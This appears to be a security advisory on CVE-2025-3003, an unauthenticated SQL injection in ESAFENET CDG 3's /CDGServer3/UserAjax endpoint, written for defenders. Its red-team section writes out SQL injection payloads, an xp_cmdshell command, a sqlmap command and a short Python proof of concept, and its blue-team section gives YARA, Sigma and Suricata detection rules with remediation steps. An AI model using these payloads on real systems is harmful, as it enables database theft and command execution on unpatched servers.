CVE-2025-3003

Executive Summary

CVE-2025-3003 is a critical SQL injection vulnerability in ESAFENET CDG 3, specifically within the /CDGServer3/UserAjax endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary SQL commands via the Username parameter, leading to full database compromise, data exfiltration, and potential lateral movement. The vendor has not responded to disclosure, leaving all deployments of ESAFENET CDG 3 unpatched. Public exploit code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application vulnerability.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High

The vulnerability is trivial to exploit, requires no authentication, and can be executed remotely. The lack of a patch and public exploit availability elevates the threat to critical.

Deep Dive & Mechanics

The /CDGServer3/UserAjax endpoint processes user-supplied input from the Username parameter without proper sanitization or parameterized queries. The application likely constructs a SQL query by concatenating the Username value directly into the SQL statement. For example:

SELECT * FROM users WHERE username = 'USER_INPUT';

An attacker can inject a single quote (') to break out of the string context and append malicious SQL. The injection point is in the Username parameter, which is passed via HTTP POST or GET request to the endpoint.

The backend database is likely a relational database (e.g., MySQL, MSSQL, or Oracle) commonly used in enterprise document management systems. The injection can be exploited to:

• Extract all user credentials (hashed or plaintext)
• Dump the entire database schema and data
• Execute administrative SQL commands (e.g., xp_cmdshell on MSSQL)
• Potentially write web shells if the database user has file write privileges

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String username = request.getParameter("Username");
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String username = request.getParameter("Username");
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

The fix requires using parameterized queries (prepared statements) or stored procedures to separate SQL logic from user input. Input validation (e.g., whitelisting allowed characters) is a secondary defense.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy ESAFENET CDG 3 in a controlled environment (e.g., Docker or VM).
2. Ensure the /CDGServer3/UserAjax endpoint is accessible.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   POST /CDGServer3/UserAjax HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   Username=admin' OR '1'='1
   

2. Use SQLMap for automated exploitation:

   sqlmap -u "http://target.com/CDGServer3/UserAjax" --data="Username=admin" --batch --dbs
   

3. Manual injection to extract data:

   Username=admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

4. For MSSQL, attempt command execution:

   Username=admin'; EXEC xp_cmdshell 'whoami';--
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/CDGServer3/UserAjax"
payload = {"Username": "admin' OR '1'='1"}
response = requests.post(target, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for SQL injection patterns in HTTP requests to /CDGServer3/UserAjax.
• Look for unusual characters in the Username parameter (e.g., single quotes, UNION, SELECT, OR).
• Alert on multiple failed login attempts followed by SQL-like payloads.

Hunting:

• Search web server logs for requests containing Username=*' or Username=*UNION*.
• Correlate with database error messages in application logs (e.g., "SQL syntax error").

Containment:

• Immediately block the vulnerable endpoint at the WAF or reverse proxy.
• If possible, disable the UserAjax functionality until a patch is applied.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /CDGServer3/UserAjax with Username parameter containing SQL keywords (UNION, SELECT, OR, --, #).
• Outbound database connections from the application server to unusual IPs (data exfiltration).
• Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Suspicious files written to the web root (e.g., cmd.aspx, shell.php) if the database user has write privileges.
• Modified application configuration files.

Log IOCs:

• Web server logs showing repeated requests to /CDGServer3/UserAjax with varying Username values.
• Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2025_3003_SQLi_ESAFENET {
    meta:
        description = "Detects SQL injection attempts targeting ESAFENET CDG 3 UserAjax endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3003"
    strings:
        $s1 = "/CDGServer3/UserAjax" nocase
        $s2 = "Username=" nocase
        $s3 = "'" nocase
        $s4 = "UNION" nocase
        $s5 = "SELECT" nocase
        $s6 = "OR" nocase
        $s7 = "--" nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: CVE-2025-3003 SQL Injection Attempt on ESAFENET CDG 3
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the /CDGServer3/UserAjax endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: "/CDGServer3/UserAjax"
        cs-uri-query|contains: "Username="
    keywords:
        - "'"
        - "UNION"
        - "SELECT"
        - "OR"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate usernames containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3003 SQL Injection Attempt on ESAFENET CDG 3"; flow:to_server; content:"/CDGServer3/UserAjax"; http_uri; content:"Username="; http_client_body; pcre:"/(\x27|UNION|SELECT|OR|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the ESAFENET CDG 3 server from the internet and untrusted networks.
2. Implement a WAF rule to block SQL injection patterns targeting /CDGServer3/UserAjax.
3. Disable the vulnerable endpoint if possible, or restrict access to trusted IPs only.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative document management solution.
• If source code is available, apply the patch described in the "Vulnerable vs. Patched Code" section.
• Conduct a full security audit of the application for similar vulnerabilities.

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for exploitation attempts.
• Scan for web shells or backdoors on the server.

Valters IT
DevSecOps & Cyber Threat Intelligence